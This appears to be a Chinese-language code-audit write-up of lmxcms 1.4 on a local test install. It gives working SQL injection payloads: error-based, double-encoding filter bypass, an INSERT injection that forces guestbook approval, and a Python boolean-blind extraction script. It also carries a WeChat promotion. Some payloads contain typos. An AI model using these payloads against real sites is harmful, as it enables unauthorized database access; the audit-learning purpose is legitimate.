lmxcms代碼審計學習-有解無憂

前言

最近學習php代碼審計，lmxcms很適合去學習代碼審計，因為比較簡單，

環境搭建

原始碼下載地址http://www.lmxcms.com/phpstudy+phpstorm,apache2.4.39+MySQL5.7.26,php5.3.29

網站首頁

后臺管理

搭建成功

框架配置

入口檔案

config.inc.php組態檔

run.inc.php 初始化檔案

入口

在Action.class.php中找到呼叫方法的

可以看出m引數是類名前綴，開頭大寫，a引數是方法名

那么我就知道該框架處理請求的格式如下

http://127.0.0.1/lmxcms1.4/admin.php?m=xx類名&a=xx方法

【----幫助網安學習，以下所有學習資料免費領！加vx：yj009991，備注 “博客園” 獲取！】

　① 網安學習成長路徑思維導圖
　② 60+網安經典常用工具包
　③ 100+SRC漏洞分析報告
　④ 150+網安攻防實戰技術電子書
　⑤ 最權威CISSP 認證考試指南+題庫
　⑥ 超1800頁CTF實戰技巧手冊
　⑦ 最新網安大廠面試題合集（含答案）
　⑧ APP客戶端安全檢測指南（安卓+IOS）

后臺SQL注入

在bookaction.class.php

在這里可以看到這個id是可控的，于是進入getReply函式里看看

發現這里執行了SQL陳述句

在后面寫個echo$sql方便看

因為正常輸入沒回顯，采取報錯注入

admin.php?m=Book&a=reply&id=1) and updatexml(0,concat(0x7e,user()),1)--+

前臺SQL注入

TagsAction.class.php中

看不出來$data['name']的值是如何來的，查看的p的方法

可以看到type=2的時候為GET傳遞，說明我們可以控制這個引數，繼續看能不能利用

查看getNameData的宣告

查看oneModel

查看oneDB

接著在這上面寫個echo $sql；

/index.php/?m=Tags&name=1

會跳404，但echo 出來了sql陳述句，說明這個程序是有sql陳述句執行的

這個時候繼續利用報錯函式執行試試

' and updatexml(0,concat(0x7e,user()),1) --+

發現是空白，連報錯都沒有，其實仔細看之前common.php里，有filter_sql方法

但是這里寫了一個url解碼的函式，且這個陳述句執行是在sql陳述句過濾執行的后面，那么我嘗試二次編碼注入

執行成功，但在1.41版本的修復了這個漏洞

這里用代碼對比下可以明顯看出來

前臺留言SQL注入

在前臺留言這里

隨便提交一個，提交成功并沒有顯示，進后臺看看

需要審核才能顯示

審查原始碼

在BookAction.class.php中，發現POST傳setbook后會進入checkdata函式

里面是驗證前臺資料并且過濾了html代碼并且有filter_sql

過濾了sql陳述句常用函式，在這里就不能用二次編碼繞過了，因為這里沒寫url解碼函式

查看addmodel

查看addDB

即使我們有二次注入的思路，但這個需要管理員審核才能看到回顯

隨便測驗一個看看

在資料庫中顯示為

可以看出這個ischeck是判斷是否顯示在前臺的，那么我們進行注入，把ischeck修改為1就可以回顯在前端了

POST提交

setbook=1&name=1&content=1&time,ischeck)VALUES((select/**/version()),'1','','','127.0.0.1','1679301152','1')#=1

前臺布爾盲注

searchaction.class.php

serchmodel

countModel

countDB

在這里寫入echo $sql;方便嘗試注入

利用這些引數進行注入

可以利用tuijian這個引數注入，或者也可以用renmen看構造問題

SELECT count(1) FROM lmx_product_data WHERE time > 1647768137 ANDremen=1 AND (title like '%a%') ORDER BY id desc

執行如上sql陳述句，這里同樣也進行了filter_sql函式過濾，且沒有url編碼不能向第一個那樣二次編碼繞過，具體可在p方法里找

index.php?m=search&a=index&keywords=a&mid=1&remen=1%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0))--+

GET/lmxcms1.4/index.php?m=search&keywords=b&mid=1&tuijian=id%20or%20(if(ascii(substr(database(),1,1))=0x6,1,0));%23

這里0x6c對應的是l

回顯長度為8425,隨便改個引數，回傳包長度變為5403

用remen引數回顯為8422

寫一個簡單的python腳本就可以測出值

import requests\flag=""\url="http://127.0.0.1/lmxcms1.4/index.php?m=search&a=index&keywords=a&mid=1&remen=1%20or%20(if(ascii(substr(database(),{},1))={},1,0))%23"\for i in range(1,7):\for j in range(65,122):\res=requests.get(url.format(i,hex(j)))\if len(res.text)>7000:\flag=flag+chr(j)\print(flag)\else:\print(url)\print(flag)